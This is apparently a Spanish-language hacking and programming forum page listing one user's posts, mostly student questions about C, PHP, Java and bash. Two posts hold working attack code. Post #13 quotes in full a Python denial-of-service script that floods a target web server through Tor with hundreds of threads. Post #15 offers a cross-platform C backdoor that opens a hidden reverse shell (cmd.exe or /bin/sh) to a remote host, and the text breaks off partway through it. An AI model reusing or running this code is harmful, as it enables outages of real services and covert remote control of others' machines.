Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - MessageBoxA

#1
Scripting / copiar archivos desde un sftp
24 Agosto 2018, 17:10 PM
saludos, tenia muchos años sin entrar a este gran foro que muchas veces me ayudo en C/C++

en este caso vengo uds es por lo siente, en mi trabajo (soy analista de sistemas de una tienda) el gerente de tecnologia me encomendó lo siguiente para mi sucursal


Es fácil (para aquellos que lo dominan mejor que yo) , desde mi maquina , hay que ir a recoger un fichero a un servidor SFTP . Pero primeramente , hay que listar los archivos que contiene el directorio , supongamos que es en /FICHEROS/in . El motivo de listar los ficheros que se recogen , es que posteriormente deben ser borrados ( para no correr riesgo de eliminar algún fichero que entre nuevo ), Entonces el script miraría los ficheros que hay disponibles en el directorio , los recoge, y borra del SFTP solamente los que se han recogido, hay otro detalle más a agregar, si la copia va bien , se mueven los ficheros a una carpeta x si da error , se mueven a otra, osea se que es mucho pedir pero recurro a uds xq estoy contra reloj y seria cuestion de que me ayuden con dicho script o bash para ser especifico ya que es en linux-unix  T_T
#2
PHP / error undefined
29 Septiembre 2016, 17:40 PM
buenas, tengo la siguiente pregunta, sucede que por medio de una funcion php envio por parametros a otro documento donde esta el cuerpo de dicha funcion unos valores, realizo una consulta a postgreSQL y luego retorno un select de numeros de cuenta bancarias, sucede que funciona bien pero pareciera que en las versiones mas reciente por ejemplo el firefox 48 me dice al retornar el select "undefined", pero no siempre es asi, es mas tanto en IE9, IE EDGE, CHROME, FIREFOX, funciona bien pero a veces sale ese error, sera porque la consulta a la base de datos es grande? aproximadamente son como 100 registros que devuelvo en un select
#3
Programación C/C++ / C con asm
3 Noviembre 2015, 21:56 PM
buenas tengo una duda, no logro llamar la rutina printf de asm en el dev cpp, se que me diran que no utilice ese IDE pero estoy dedicado al mundo de linux y pues asi me acostumbro a seguir utilizando la sintaxi de AT&T.


asm("pushl %ecx");
asm("call printf");


sabran que primero debo hacer un pushl a la direccion de memoria de lo que quiero mostrar en pantalla pero aun asi me dice que no sabe a donde hace referencia la funcion printf y me la detecta como si fuera de la libreria stdio.h
#4
Programación C/C++ / estructuras dinamicas
2 Noviembre 2014, 04:06 AM
SALUDOS A TODOS!!!!  ;D
bien quiero informar que se que aqui no se hacen tareas pero cuando la persona que solicita ayuda por lo menos ya a adelantado parte de su proyecto entonces se hace la ecepcion y se ayuda en algo a la persona y yo soy uno de esas personas, estoy haciendo un codigo y bueno e realizado parte de el pero estoy algo trancado y solicito de su ayuda colegas programadores

aqui el enunciado (algo largo)

Código (java) [Seleccionar]
La empresa disquera "TEMPTATIONS" desea obtener información rápida de sus CD´s e Intérpretes, es decir; que por el titulo de un CD desea conocer el interprete y, dado un intérprete conocer todos los CD´s que él posee.
Se sabe que están disponibles las siguientes estructuras de listas, almacenadas en forma dinámica:
LISTAS DE INTÉRPRETES: Sus nodos contienen la siguiente información:
- Nombre del intérprete,
- Apuntador al principio de la lista de CD´s que posee el interprete,
- Apuntador al final de la lista de CD´s que posee ese interprete,
- Apuntador al sucesor de la lista del intérprete.
LISTAS DE CD´s: Sus nodos contienen la siguiente información:
- Nombre del CD,
- Apuntador al sucesor de la lista de CD´s de ese interprete.
LISTA DE DISQUERAS:
- Nombre de la Disquera,
- Apuntador al sucesor de la lista de Disquera de ese CD.
Nota: Suponga que un CD consta de un único interprete y de una sola disquera, y un intérprete puede tener uno o más CD´s y haber grabado con una o más disqueras.
Basado en la información anterior:
Diseñe un algoritmo y un programa en C, muestre un menú cuya primera opción sea para agregar los elementos de la lista, la segunda opción debe mostrar el nombre de los intérpretes y todos sus CD´s y estos a su vez la disquera, si este existe o envíe un mensaje de error en caso contrario, la opción de eliminar elementos de la lista y la última opción de salir.


y aqui mi code
#include <stdio.h>
#include <conio.h>
#include <stdlib.h>

using namespace std;

typedef struct TEMPTATIONS
{
  char interprete[20];
  char CDs[15];
  TEMPTATIONS *siguiente;
  } TEMPTATIONS;
 
 
void mostrar_menu();
void agregar_elemento();
void mostrar_lista();
void eliminar();
 
TEMPTATIONS *primero, *ultimo;

int main()
{
    char opcion;
    primero=(TEMPTATIONS *)NULL;
    ultimo=(TEMPTATIONS *)NULL;
    do
    {
       mostrar_menu();
       opcion=getche();
       switch(opcion)
       {
                     
           case '1': agregar_elemento();
           break;
           case '2': mostrar_lista();
           break;
           case '3': eliminar();
           break;
           case '4': exit(1);
           
           default: printf("Opcion no valida\n");
           break;
       }
    }while(opcion!='4');
     



   void mostrar_menu()
   {
      printf("1.- Anadir Interprete \n");
  printf("2.- Mostrar Lista de Interpretes?\n");     
  printf("3.- Eliminar Interprete?\n");
      printf("4.- Salir\n\n");
      printf("Escoge una opcion: \n");
      fflush(stdin);
     
       
   }
                   
  void agregar_elemento()
  {
    TEMPTATIONS *nuevo;
    nuevo=(TEMPTATIONS *)malloc(sizeof(TEMPTATIONS));
    if(nuevo==NULL)
     printf("No hay memoria disponible!!! \n");
     
     else
     {
             printf("\n");
      printf("Agregar \n");
      printf("Interprete: ");
      fflush(stdin);
      gets(nuevo->interprete);
      printf("CDs: ");
      fflush(stdin);
      gets(nuevo->CDs);
      nuevo->siguiente=NULL;
         
         
       if(primero==NULL)
       {
       
       
       
        primero=nuevo;
        ultimo=nuevo;
     
       }
       else
       {                         
       ultimo->siguiente=nuevo;
       ultimo=nuevo;
       }
      }
       system("pause");
        system("cls");
  }
 
  void mostrar_lista()
  {
    TEMPTATIONS *auxiliar;
    int i;
    i=0;
    auxiliar=primero;
    printf("\n Mostrando la lista completa:\n");
    while(auxiliar!=NULL){   
       printf("Interprete: %s, CDs: %s\n",auxiliar->interprete, auxiliar->CDs);
       auxiliar= auxiliar->siguiente;
       i++;
     
    } 
    if(i==0){
    printf("\nLa lista esta vacia!!\n");
    }
  }

   void eliminar()
   {
    TEMPTATIONS *aux2, *aux1, *auxiliar1;
    int j, borralo;

auxiliar1=primero;
     j=1;
     
      if(auxiliar1==NULL)
      {
        printf("--->La lista esta vacia\n");
       }
   else
       {
        while(auxiliar1!=NULL)
        {
     printf("\n %d Interprete: %s y su CDs es:%s \n",j,auxiliar1->interprete,auxiliar1->CDs);
     auxiliar1=auxiliar1->siguiente;
     j++;
        }
         printf("Cual desea eliminar\n");
         scanf("%d",&borralo);
         aux2=primero;
        for(j=1;j<borralo-1;j++)
        {
           aux2=aux2->siguiente;
        }
         if(borralo==1)
         {
            primero=aux2->siguiente;
            aux2->siguiente=NULL;
         }
                   else
                   {
                       aux1=aux2;
                       aux2=aux2->siguiente;
                       aux1->siguiente=aux2->siguiente;
                       aux2->siguiente=NULL;
                    }
                                                                       
        }
         }
#5
buenas e estado realizando un proyecto de la universidad y e logrado hacer muchas cosas ahora luego que finalice el proyecto a mi profesor se le ocurrio la idea de hacer que en vez de un barco sea  igual a una sola posicion de la matriz, quiere que sea un barco formado por varias secciones y con sentidos definidos.



aqui el codigo que entregue y quiere q sea el mismo code que modifique pero realmente si me cuesta evaluar con una sola posicion no se como hacer con varias posiciones al mismo tiempo para determinar si esta undido el barco y tambien el colocarlos en el tablero por ser de varias secciones.

Código (cpp) [Seleccionar]
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <conio.h>
#include <windows.h>

// Posiciones: '0'=desocupado | '1'=Hay barco | '2'=Barco destruido

void wait(int seconds) // Funcion 'clock' para el tiempo de juego
{
   clock_t endwait;
   endwait = clock() + seconds * CLOCKS_PER_SEC;
   while( clock() < endwait )
   {}
}

void imprimir();
void iniciar();

int i, j, k, jugador[10][10], oponente[10][10], opcion1, opcion2, puntajejugador=0, puntajeoponente=0; // Variables globales
time_t start,end;
double dif, tiempototal=0;

//________________________________________________________________________________________________
void imprimir() // Funcion que imprime el tablero de juego
{  
   printf("\t\t\t\t\t    Tiempo transcurrido= %.1f segundos\n\n", tiempototal);
   
   for(i=1;i<=10;i++) // Imprime tablero del oponente
   {
       printf("\n\t");
       for(j=1;j<=10;j++)
       {
           if(oponente[i][j]==3)
           {
               printf("  #");
           }
           else
           {
               if(oponente[i][j]==2) // Imprime 'X' si vale 2
               {
                   printf("  X");
               }
               else
               {
                   printf("  -");
               }
           }                                    
       }
       if(i==3)
       {
           printf("\tOPONENTE");
       }
       else
       {
           if(i==1)
           {
               printf("\t\t\tPuntaje oponente: %d", puntajeoponente);
           }
       }
   }
   
   printf("\n\n\t ______________________________\n\n");
   
   for(i=1;i<=10;i++) // Imprime el tablero del jugador
   {
       printf("\n\t");
       for(j=1;j<=10;j++)
       {
           if(jugador[i][j]==3)
           {
               printf("  #");
           }
           else
           {
               if(jugador[i][j]==2) // Imprime 'X' si vale 2 || 'O' si vale 1
               {
                   printf("  X");
               }
               else
               {
                   if(jugador[i][j]==1)
                   {
                       printf("  O");
                   }
                   else
                   {
                       printf("  -");
                   }
               }
           }                                    
       }
       if(i==3)
       {
           printf("\tJUGADOR");
       }
       else
       {
           if(i==1)
           {
               printf("\t\t\tPuntaje jugador: %d", puntajejugador);
           }
       }
   }

   printf("\n\n");  
}
//_______________________________________________________________________________________________

void iniciar() // Rellena con '0' el arreglo y coloca los barcos
{
       
   for(i=1;i<=10;i++) // Llena todo con '0'
   {
       for(j=1;j<=10;j++)
       {
           jugador[i][j]=0;
           oponente[i][j]=0;
       }
   }
   
   printf("\n\n Dame las coordenadas de tus barcos~\n\n");
   
   srand(time(NULL));
   for(k=1;k<=10;k++) // Distribuye los barcos
   {
       imprimir();
                     
       i=1+rand()%10; // Distribuye los barcos oponentes
       j=1+rand()%10;
       while(oponente[i][j]==1)
       {
           i=1+rand()%10; j=1+rand()%10;
       }
       oponente[i][j]=1; // La posicion de los barcos valdra 1
                     
       printf("\n\tX%d = ", k);
       scanf("%d", &opcion2);
       while(opcion2<1 || opcion2>10)
       {
           printf("    Escoje un valor valido ( 1 a 10 )\n\n\tX%d = ", k);
           scanf("%d", &opcion2);
       }
                       
       printf("\n\tY%d = ", k);
       scanf("%d", &opcion1);
       while(opcion1<1 || opcion1>10)
       {
           printf("\n    Escoje un valor valido ( 1 a 10 )\n\n\tY%d = ", k);
           scanf("%d", &opcion1);
       }
                       
       if(jugador[opcion1][opcion2]==1)
       {
           printf("\n Ese valor ya existe...");
           getche();
           k=k-1;
       }
       jugador[opcion1][opcion2]=1;
                     
       system("cls");
                                                       
   }  
   
}

void presentacion()
{
system("color 0B");

   printf("\n\n\t    ~BATALLA NAVAL~\n\n\t\t#\n\t\t#|\n\t\t#|#\n\t\t#|##\n\t\t#|###\n\t\t#|####");
   printf("\n\t\t#|#####\n\t\t#|######\n\t#########################\n\t _______________________");
   printf("\n\t  ####/)###############\n\t   ###(/##############\n\t    #################\n\t     ###############");
   printf("\n\n\n\t1- JUGAR\n\n\t2- SALIR\n\n\n\tDame tu opcion:");
}
//_______________________________________________________________________________________________

main() // Inicia el programa (main)
{
   int res, auxiliar, probabilidadcpu, destruidosoponente=0, destruidosjugador=0, ganador;
   float dificultadcpu=0.5;
   
   presentacion();
   scanf("%d", &res);
   system("cls");
     
   switch(res)
   { // Eliges la opcion Jugar o Salir
     
      case 1:
      {
          iniciar(); // Llama a la funcion iniciar
          printf("\n\n\n\t\t Preparado?\n\n");
          wait(2);
          printf("\n\t\t AHORA!!!");
          wait(1);
                           
          do
          {
              time(&start);
              system("cls"); // Limpia la pantalla
                             
              imprimir();
                             
              printf(" Es tu turno! Dame la posicion que deseas atacar~\n\n");
              printf("\tX = ");
              scanf("%d", &opcion2);
              while(opcion2<1 || opcion2>10)
              {
                  printf("\n    Escoje un valor valido ( 1 a 10 )\n\n\tX = ");
                  scanf("%d", &opcion2);
              }
                             
              printf("\tY = ");
              scanf("%d", &opcion1);
              while(opcion1<1 || opcion1>10)
              {
                  printf("\n    Escoje un valor valido ( 1 a 10 )\n\n\tY = ");
                  scanf("%d", &opcion1);
              }
                             
              auxiliar=oponente[opcion1][opcion2];
              oponente[opcion1][opcion2]=3;
              system("cls");
              imprimir();
              oponente[opcion1][opcion2]=auxiliar;                          
                             
              if(oponente[opcion1][opcion2]==1)
              {
                  oponente[opcion1][opcion2]=2;
                  destruidosoponente=destruidosoponente+1;
                  puntajejugador=puntajejugador+200;
                  printf("\n Haz acertado!!\n\n");
              }
              else
              {
                  printf("\n Haz fallado...\n\n");
              }
                             
              system("PAUSE");
              system("cls");
              if(destruidosoponente==5)
              {
                  printf("\n\n\n\n\t\t\tHAZ GANADO!!");
                  getche();
              }                              
#6
Programación C/C++ / funcion tangente
16 Julio 2014, 21:01 PM
BUENAS ESTOY REALIZANDO UN CODIGO DONDE GRAFIQUE LA FUNCION SENO, COSE Y TANGENTE, YA TENGO HECHAS LAS 2 PRIMERAS PERO NO SE ME OCURRE COMO PODRIA GRAFICAR LA TANGENTE YA QUE ES EN FORMA VERTICAL, ME PODRIAN DAR ALGUN TIPS O IDEA DE COMO GRAFICARLA DE FORMA GENERAL, ES DECIR, SI INTRODUCIR PARAMETROS POR EL USUARIO. GRACIAS DE ANTE MANO
#7
tengo el problema con esta linea
char *paises_miembros[] = {"Argentina","Belgica","Estados Unidos","Francia","Reino Unido",
"Grecia","Hungria","Italia","Nueva Zelanda","Rusia","Suecia","Japon"};

y es que el compilador me da un error


9 77 C:\Users\Nerys\Desktop\main.cpp [Warning] deprecated conversion from string constant to 'char*' [-Wwrite-strings]
#8
buenas estoy haciendo un juego de rol donde una de las condiciones es que no se pueda utilizar 2 poderes iguales por el mismo jugador, y no logro dar con el code adecuado

aqui una muetra de lo que hice pero esta mal debido a que el valor que ingrese lo almacena pero despues en el for caigo en decir que esta repetido aunque en realidad solo esta en una sola posicion

ayudenme gracias

Código (cpp) [Seleccionar]

scanf("%d",&res2);
                           poderj1[indice]=res2;
                           
                for(int cc=0;cc<=res2;cc++)
                  {
                  if(poderj1[cc]==res2)
                  {
                  printf("\n no puedes utilizar dos poderes iguales!!!\n");
                  getch();
                 
                  }
                }
                     indice=indice+1;   
#9
saludos a todos, me encuentro un proyecto universitario y e realizado un codigo en base a lo que hemos estudiado de leer nombres y apellidos guardarlos en una estructura y luego guardarlos en un archivo txt pero tengo un problema que no me guarda bien los datos en el archivo de texto. pido de su ayuda y puedan decirme en que fallo y que debo cambiar. de antemano muchas gracias.
Código (cpp) [Seleccionar]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* Ahora usando el mismo archivo de datos,
leer los nombres y crear otro archivo con
los nombres ordenados de la forma apellido, primer_nombre y segundo_nombre*/

//Estructura

typedef struct {

    char primer_nombre [45];
    char segundo_nombre [45];
    char apellido_persona [45];
   
} datos;

//listado de personas
void lista_personas(){
int m=0,k=0,z=1,y=0,x=0;

//Indicacion de los datos de la estructura

FILE *Doc;

printf("Ingresar la cantidad de personas que se generara en su lista:\n\n"); scanf("%d",&k);
printf("\n\nla cantidad de personas en su lista es de %d.\n\n",k);

datos datos_estruct[y];

Doc=fopen("Documento.txt","wb");

for(m=0;m<=k;m++){
          printf("\n\nEl I.D Registro de la persona es: %d\n\n",z);
          printf("Ingrese el Primer nombre de la persona:\n");
          scanf("%s",&datos_estruct[y].primer_nombre[x]);
          printf("\nIngrese el segundo nombre de la persona:\n");
          scanf("%s",&datos_estruct[y].segundo_nombre[x]);
          printf("\nIngrese el apellido de la persona:\n");
           scanf("%s",&datos_estruct[y].apellido_persona[x]);
          x++;
          y++;
          z++;                 
}

for(m=0;m<k;m++){
fwrite(&datos_estruct[y], sizeof(datos),1,Doc);
y++;
}

fclose(Doc);


}       //fin listado_personas


// Inicio main
main(){
       
       
lista_personas();
printf("\n\n\nSus datos fueron guardados satisfactoriamente.\n\n\n");

system("pause");       
}
#10
Programación C/C++ / turbo C y borland C
3 Junio 2014, 20:53 PM
saludos a todos los miembros del foro. siempre e utilizado los IDE geany, code::blocks , devcpp- orwell devcpp, visual estudio C, wxdevcpp, netbeans. Pero nunca en turbo C ni borland C y quisiera saber si en esos dos la sintaxi es la misma que si programara en code::blocks. gracias de antemano
#11
EDITO!!

gracias a las sugerencias y ayuda dada, modifico mi publicacion con el code ya arreglado y funcional. saludos  :rolleyes:

Código (cpp) [Seleccionar]
#include <stdio.h>
#include <windows.h>
#include <conio.h>

/* Escriba un programa en lenguaje C que realice las siguientes tareas:
1).- Leer entrada de "N" números enteros positivos mayor que cero
(SOLO MAYOR QUE CERO, NO IGUAL O MENOR QUE CERO).  (LISTO)

2).- Usar el método de ordenamiento de inserción,
de tal forma que los números impares ocurran o se escriban antes de los pares en el vector

3).- Ordenar los pares en forma ascendente y los impares en forma descendente. (LISTO)

4).- Usar el método de búsqueda para hallar un numero o elemento "A"
a través del método de búsqueda SECUENCIAL introducido por teclado. MOSTRAR SU POSICIÓN. (LISTO)

CONSIDERACIONES:
1) Si no hay números pares leídos ordenar descendentes. (LISTO)
2) si no hay números impares leídos ordenar ascendente  (LISTO)
3) si hay números Pares/impares ordenar según el PUNTO N° 3 ANTES MENCIONADO (LISTO)
*/



//prototipo de funcion ordenamiento


void ordenar_impares_descendentes(int vector[], int elementos);//CONSIDERACION NUMERO 1
void ordenar_pares_ascendentes(int vector[], int elementos);//CONSIDERACION NUMERO 2
void ordenar_pares_impares(int vector[], int elementos);//CONSIDERACION NUMERO 3
void busqueda_secuencial(int vector[], int elementos); //PUNTO NUMERO 4


//inicia main
int main()

{

//PEDIMOS LA CANTIDAD DE NUMEROS QUE DESEAMOS GUARDAR EN EL VECTOR
printf("cuantos elementos desea almacenar? ");
int* v,elementos;
scanf("%d",&elementos);


/* Reservar memoria para almacenar n enteros */

v = (int*)malloc(elementos * sizeof(int)); //UN VECTOR QUE TENDRA LAS DIMENCIONES DE LOS NUMEROS A ALMACENAR

/* Verificamos que la asignación se haya realizado correctamente */
if (v== NULL)
{
/* Error al intentar reservar memoria */
}


//CONTINUAMOS A LLENAR EL VECTOR YA DECLARADO


printf("\nIngrese los valores de su lista");

int valor_temporal, par=0, impar=0, n;
for(n=0;n<elementos;)
{

printf("\n Ingrese el dato %d: ",(n+1));
scanf("%d",&valor_temporal);
//COMPROBAMOS QUE EL DIGITO ES MAYOR A CERO
if(valor_temporal>0)
{
v[n]=valor_temporal;//almacenamos el digito
n++; //avanzamos de posicion
if(valor_temporal%2==0)//comprobamos si es par para mas adelante realizar la operacion necesaria
{
par=1;
}
else  //caso contrario es impar
{
    impar=1;
}
}
else
{
printf("\nIntroduzca un numero mayor a cero");
}

}

//MOSTRAMOS AL OPERADOR QUE LOS NUMEROS SON ALMACENADOS EN EL ORDEN QUE FUERON INTRODUCIDOS

printf("\nlos numeros introducidos son:");

for(int n=0;n<elementos;n++)
{
printf("\n dato %d es %d", (n+1), v[n]);
}


//PROCEDEMOS A REALIZAR LAS OPERACIONES NECESARIAS EN BASE A SI EXISTEN PARES, IMPARES O AMBOS EN EL VECTOR


if(par==1 && impar==1)
{
//funcion de pares e impares
ordenar_pares_impares(v,elementos);
}

else if(par==1 && impar==0)
{
//funcion de pares ascendentes
ordenar_pares_ascendentes(v,elementos);
}
else if(par==0 && impar==1)
{
//funcion de impares descendentes
ordenar_impares_descendentes(v,elementos);
}

free (v);
system("pause");
return 0;
}

//FUNCION PARA ORDENAR DE MANERA ASCENDENTE EL VECTOR EN CASO DE QUE SOLO HAYAN PARES
void ordenar_pares_ascendentes(int vector[], int elementos)
{
    int i,j,v;

      for (i = 1; i < elementos; i++)
        {
             v = vector[i];
             j = i - 1;
            while (j >= 0 && vector[j] > v)
              {
                  vector[j + 1] = vector[j];
                  j--;
              }
             
             vector[j + 1] = v;
      }
     
  printf("\n\nel vector par ordenado de forma ascendente es: ");
  //imprimimos el vector con su respectivo ordenamiento
  for(int n=0;n<elementos;n++)
{
printf("\n dato %d es %d", (n+1), vector[n]);
}

char letra;
printf("\ndesea buscar un elemento en el vector?\n presione s para SI y n para NO:  ");
letra=getch();

if (letra =='s')
{
busqueda_secuencial(vector,elementos);
}
}


//FUNCION PARA ORDENAR DE MANERA DSECENDENTE EL VECTOR EN CASO DE QUE SOLO HAYAN IMPARES
void ordenar_impares_descendentes(int vector[], int elementos)
{
    int i, j, t;
    for (i=1; i<elementos; i++)
    {
        j=i;
        t=vector[j];
        while (j>0 && vector[j-1]<t)//NOTESE QUE SOLO SE NECESITA CAMBIAR UN SIGNO EN ESTE CONDICIONAL PARA QUE SEA DESCENDENTE
        {
            vector[j]=vector[j-1];
            j--;
        }
        vector[j]=t;
    }
   
  printf("\n\nel vector impar ordenado de forma descendente es: ");
  //imprimimos el vector con su respectivo ordenamiento
  for(int n=0;n<elementos;n++)
{
printf("\n dato %d es %d", (n+1), vector[n]);
}

char letra;
printf("\ndesea buscar un elemento en el vector?\n presione s para SI y n para NO:  ");
letra=getch();

if (letra =='s')
{
busqueda_secuencial(vector,elementos);
}
}

//FUNCION PARA EL CASO EN QUE EXISTAN PARES E IMPARES EN EL VECTOR
//LOS IMPARES SE COLOCARAN PRIMEROS EN EL VECTOR Y DE MANERA DESCENDENTE
//LOS PARES  SE COLOCARAN EN LAS SIGUIENTES POSICIONES DE MANERA ASCENDENTE

void ordenar_pares_impares(int vector[], int elementos)
{
    int i, j, t,n;
    for (i=1; i<elementos; i++)
    {
        j=i;
        t=vector[j];
        if(t%2==0)
        {
        while (j>0 && vector[j-1]>t && vector[j-1]%2==0)
        {
            vector[j]=vector[j-1];
            j--;
        }
        }
        else
        {
        while (j>0 && (vector[j-1]<t || vector[j-1]%2==0))
        {
            vector[j]=vector[j-1];
            j--;
        }
        }
        vector[j]=t;
    }
   
  printf("\n\nel vector par-impar ordenado es: ");
  //imprimimos el vector con su respectivo ordenamiento
  for(int n=0;n<elementos;n++)
{
printf("\n dato %d es %d", (n+1), vector[n]);
}

char letra;
printf("\ndesea buscar un elemento en el vector?\n presione s para SI y n para NO:  ");
letra=getch();

if (letra =='s')
{
busqueda_secuencial(vector,elementos);
}
}

// BUSQUEDA SECUENCIAL

void busqueda_secuencial(int vector[], int elementos)
{
     int encontrar;
printf("\nEscriba un numero por favor:");
    scanf("%d", &encontrar);
    printf("\nUsted ingreso %d: ",encontrar);
    for (int i=0;i<elementos;i++)
{
        if (vector[i] == encontrar)
{
            printf("\nNumero encontrado en la posicion [%d] del vector",(i+1));
        }
else
{
        printf("\nNumero no encontrado en la posicion [%d] del vector",(i+1));
        }
    }
  // FIN BUSQUEDA SECUENCIAL
}
#12
Java / implementar una clase
16 Abril 2014, 22:43 PM
buenas qusiera que me ayudaran, no puedo implementar este codigo es sencillo solo quiero llamar desde la clase main, la clase Operaciones para realizar uno de los metodos pero el netbeans no me deja compilarlo

Código (java) [Seleccionar]

public class Operaciones
{
public static double suma(double a, double b)
{
return a+b;
}
public static double resta(double a, double b)
{
return a-b;
}
public static double multiplica(double a, double b)
{
return a*b;
}
public static double divide(double a, double b)
{
return a/b;
}
public static double modulo(double a, double b)
{
return a % b;
}
}

public class PruebaOperaciones
{
public static void main (String args[])
{
System.out.println( Operaciones.multiplica(Operaciones.suma(2, 3), 8) );
}
}



favor diganme que esta mal ya que no soy muy conocedor de java me estoy iniciando
#13
Hacking / ayuda con code python
25 Junio 2013, 03:28 AM
buenas tengo este code quisiera q le ayudaran en saber que es lo que medio hace ya que conozco muy poco de python gracias se los pido

Código (python) [Seleccionar]
#!/usr/bin/python

# this assumes you have the socks.py (http://phiral.net/socks.py)
# and terminal.py (http://phiral.net/terminal.py) in the
# same directory and that you have tor running locally
# on port 9050. run with 128 to 256 threads to be effective.
# kills apache 1.X with ~128, apache 2.X / IIS with ~256
# not effective on nginx

import os
import re
import time
import sys
import random
import math
import getopt
import socks
import string
import terminal

from threading import Thread

global stop_now
global term

stop_now = False
term = terminal.TerminalController()

class httpPost(Thread):
    def __init__(self, host, port, tor):
        Thread.__init__(self)
        self.host = host
        self.port = port
        self.socks = socks.socksocket()
        self.tor = tor
        self.running = True

    def _send_http_post(self, pause=10):
        global stop_now

        while True:
            if stop_now:
                self.running = False
                break
            p = "."
            print term.BOL+term.UP+term.CLEAR_EOL+"Volley: %s" % p+term.NORMAL
            self.socks.send(p)

        self.socks.close()

    def run(self):
        while self.running:
            while self.running:
                try:
                    if self.tor:     
                        self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
                    self.socks.connect((self.host, self.port))
                    print term.BOL+term.UP+term.CLEAR_EOL+"Connected to host..."+ term.NORMAL
                    break
                except Exception, e:
                    if e.args[0] == 106 or e.args[0] == 60:
                        break
                    print term.BOL+term.UP+term.CLEAR_EOL+"Error connecting to host..."+ term.NORMAL
                    time.sleep(1)
                    continue

            while self.running:
                try:
                    self._send_http_post()
                except Exception, e:
                    if e.args[0] == 32 or e.args[0] == 104:
                        print term.BOL+term.UP+term.CLEAR_EOL+"Thread broken, restarting..."+ term.NORMAL
                        self.socks = socks.socksocket()
                        break
                    time.sleep(0.1)
                    pass

def usage():
    print "./xerxes.py -t <target> [-r <threads> -p <port> -T -h]\n"

def main(argv):
   
    try:
        opts, args = getopt.getopt(argv, "hTt:r:p:", ["help", "tor", "target=", "threads=", "port="])
    except getopt.GetoptError:
        usage()
        sys.exit(-1)

    global stop_now

    target = ''
    threads = 256
    tor = True
    port = 80

    for o, a in opts:
        if o in ("-h", "--help"):
            usage()
            sys.exit(0)
        if o in ("-T", "--tor"):
            tor = True
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-r", "--threads"):
            threads = int(a)
        elif o in ("-p", "--port"):
            port = int(a)

    if target == '' or int(threads) <= 0:
        usage()
        sys.exit(-1)

    print term.DOWN + term.RED + "/*" + term.NORMAL
    print term.RED + " * Target: %s Port: %d" % (target, port) + term.NORMAL
    print term.RED + " * Threads: %d Tor: %s" % (threads, tor) + term.NORMAL
    print term.RED + " * Give 20 seconds without tor or 40 with before checking site" + term.NORMAL
    print term.RED + " */" + term.DOWN + term.DOWN + term.NORMAL

    rthreads = []
    for i in range(threads):
        t = httpPost(target, port, tor)
        rthreads.append(t)
        t.start()

    while len(rthreads) > 0:
        try:
            rthreads = [t.join(1) for t in rthreads if t is not None and t.isAlive()]
        except KeyboardInterrupt:
            print "\nShutting down threads...\n"
            for t in rthreads:
                stop_now = True
                t.running = False

if __name__ == "__main__":
    main(sys.argv[1:])
#14
Programación C/C++ / keybd_event
19 Marzo 2013, 06:36 AM
no consigo cual es el equivalente para usar en linux de keybd_event para que me ayuden porfa y como es el uso de dicha funcion
#15
Programación C/C++ / backdoor multiplatafor
3 Septiembre 2011, 00:00 AM
me gustaria q lo probaran y me digan si les funciona :) solo lo e corrido en win xp y knoppix 5

Código (cpp) [Seleccionar]
#include <stdio.h>
#include <string.h>

//cabecera y librerias segun SO

#ifdef WIN32
#include <winsock2.h>
#pragma comment(lib,"ws2_32.lib")

#else

#include <netdb.h>
#include <sys/socket.h>
#define SOCKET_ERROR -1

#endif

#define PASSWORD "mi_pass\0"
//contraseña
char Buffer[1024]; //variable para enviar/recibir datos
int Recv; //para saber cuantos datos hemos transmitido

int sock;
int ReverseShell(char *Destino, short Puerto,char *pwd);

/*funcion principal*/

int main()
{
   
    for(;;)
    {
           if(send(sock,"",0,0)<=0)
           {

#ifdef WIN32
WSACleanup();
#else
close(sock);
#endif

ReverseShell("localhost",4664,PASSWORD);
}
#ifdef WIN32
Sleep(100);
#else
sleep(100);
#endif
}

return 0;
}


int ReverseShell(char *Destino, short Puerto, char *pwd)
{
    int Loggea();
    struct hostent *Master;
    struct sockaddr_in Winsock_In;
   
    //si estamos en windows cargamos la libreria
    #ifdef WIN32
   
    STARTUPINFO start_proc;
    PROCESS_INFORMATION info_proc;
    OSVERSIONINFO SOinfo;
    WSADATA wsaData;
   
    char *shell;
    //iniciamos la libreria para  crear socket
    WSAStartup(MAKEWORD(2,2),/*version del socket*/ &wsaData /*estrutura que recibe las propiedades del socket*/);
   
    if((sock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL))==INVALID_SOCKET)
    return 0;
   
    #else
   
    if((sock=socket(AF_INET,SOCK_STREAM,0))==SOCKET_ERROR)
    return 0;
   
    #endif
   
    Master=gethostbyname(Destino);
    Winsock_In.sin_family=AF_INET;
    //IPv4
    Winsock_In.sin_port=htons(Puerto);
    //puerto al que conectar
   
    Winsock_In.sin_addr= *((struct in_addr *)
    Master->h_addr); //host al que conectar
   
    #ifdef WIN32
   
    if(WSAConnect(sock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
    return 0;
#else

if(connect(sock,(struct sock_addr *)&Winsock_In,sizeof(struct sockaddr))==SOCKET_ERROR)
return 0;

#endif

if(Loggea()==0)
return 0;

#ifdef WIN32
//rellenamos la estructura

memset(&start_proc,0,sizeof(start_proc));//limpiamos
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;

start_proc.wShowWindow=SW_HIDE;
start_proc.hStdInput=(HANDLE)sock;
start_proc.hStdOutput=(HANDLE)sock;
start_proc.hStdError=(HANDLE)sock;

GetVersionEx(&SOinfo);
if(SOinfo.dwPlatformId==VER_PLATFORM_WIN32_WINDOWS)
{
    shell="command.com\0";
}
else
{
    shell="cmd.exe\0";
}

//lanzamos la shell

if(CreateProcess(NULL,shell,NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==0)
{
     return 1;
     }
     else
     {
         WSACleanup();
         return 0;
         }
#else

if(fork()!=0)
{
             close(sock);
             return 0;
             }
//duplicamos los handles del socket

dup2(sock,0);
dup2(sock,1);
dup2(sock,2);

if(!execl("/bin/sh'","sh",NULL))
{
     close(sock);
     return 0;
     }

#endif

return 1;
}

//devulve 0 (incorrecto) / 1 (correcto)

int Loggea()
{
